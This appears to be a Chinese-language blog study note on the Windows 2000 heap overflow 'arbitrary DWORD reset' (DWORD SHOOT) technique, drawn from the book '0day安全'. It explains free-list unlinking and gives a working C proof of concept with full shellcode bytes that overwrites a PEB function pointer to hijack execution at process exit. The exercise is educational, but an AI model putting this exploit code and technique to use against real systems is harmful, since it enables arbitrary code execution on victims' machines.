堆溢出 arbitrary DWORD reset 入门

1 分钟读完

0.引言

arbitrary DWORD reset 在0day安全中叫做DWORD SHOOT,本文是参考《0 day安全》第5章的学习笔记。

arbitrary DWORD reset的攻击原理是,系统采用双向链表维护空闲堆块,通过溢出修改空闲堆块首部的pre和next指针,最后在申请该块时达到任意修改内存的目的。下面使用 的方法是:修改PEB 中的一个函数指针(进程结束时会调用),使它指向我们构造的shellcode,这样进程结束前会去执行shellcode.

1.双向链表组织空闲堆块

空闲堆块用双向链表组织,每个空闲堆块首部占16字节,前8个字节用于标识该块的相关信息(如块大小、是否占用等),后8字节用于存储pre和next两个指针。

当申请一个空闲堆块时,从双向链表删除的过程大致如下:

int deleteNode(ListNode *node)
{
	node->next->pre = node->pre;
	node->pre->next = node->next;
}

2.arbitrary DWORD reset

2.1.覆盖空闲堆首部

假定一个堆A是已经申请的,堆B在A后面,是空闲的,如|—A—|—B—| 在向堆A中拷贝数据时,数据长度超出了堆A的大小,那么将覆盖堆B的首部,破坏了空闲堆双向链表结构。

B->pre = (ListNode*)addr_x
B->next = (ListNode*)addr_y

2.2.申请被覆盖的空闲堆

这时系统还是将堆块B从双向链表中删除(系统不知道双向链表结构被破坏),模拟deleteNode操作

B->next->pre = B->pre
B->pre->next = B->next

也就是

((ListNode*)addr_y)->pre = (ListNode*)addr_x
((ListNode*)addr_x)->next =  (ListNode*)addr_y

在addr_y开始的0~3字节处  存储addr_x 在addr_x开始的4~7字节处  存储addr_y

addr_y[0~3] = addr_x
addr_x[4~7] = addr_y

(注意ListNode不是空闲堆块的头部)

3.实例分析

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x03\x91\xF8\x77"  //MOV EBX,77F89103 the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
//0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last

main()
{
	
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//printf("%d\n",sizeof(shellcode)-1);
	//__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}

3.1. 获取shellcode的起始地址,也就是堆块h1的地址

在源程序加入断点,OD打开exe程序,F9执行到断点处,发现EAX:0×00360688,即shellcode的起始地址,F8单步调试,执 行完REP MOVS DWORD….指令,它对应memcpy函数,可在内存0×00360688处看到shellcode的内容。

3.2. 获取RtlEnterCriticalSection()函数的地址,两个方法

1)在OllyDbg汇编区,Ctrl+G输入RtlEnterCriticalSection查找函数的地址; 2)《0day安全》书中说存储该函数指针的位置是固定的,0x7FFDF020,也可以在OD下方的内存区Ctrl+G输入7FFDF020查找该内存地址存储的内容,地址是 0x77f89103。

3.3. shellcode分析

shellcode有216字节,前200字节填充 大小为200字节的堆区h1,它后面紧跟着就是空闲堆块

201~208字节存放堆块首部
209~212字节存放shellcode的起始地址,需要实际调试确定,本实验是0×00360688
213~216字节存放P.E.B函数指针的地址,即0x7FFDF020

3.4. 溢出

当执行完memcpy后,再申请空闲堆时,申请的是被覆盖的堆B

B->next = 0×00360688
B->pre = 0x7FFDF020

在从空闲堆双向链表中删除该堆块时,会在0×00360688处第4~7字节写入0x7FFDF020,这是shellcode前12字节为NOP的原因;

在0x7FFDF020处第0~3字节写入0×00360688,进程结束时想去执行ExitProcess()时,会转而执行我们的shellcode。

在执行shellcode时,为了让shellcode结束后调用ExitProcess(),在shellcode中又将0x77f89103写回0x7FFDF020处。

注:

实验环境 winodws 2000 sp4,参考《0 day安全第二版》

留下评论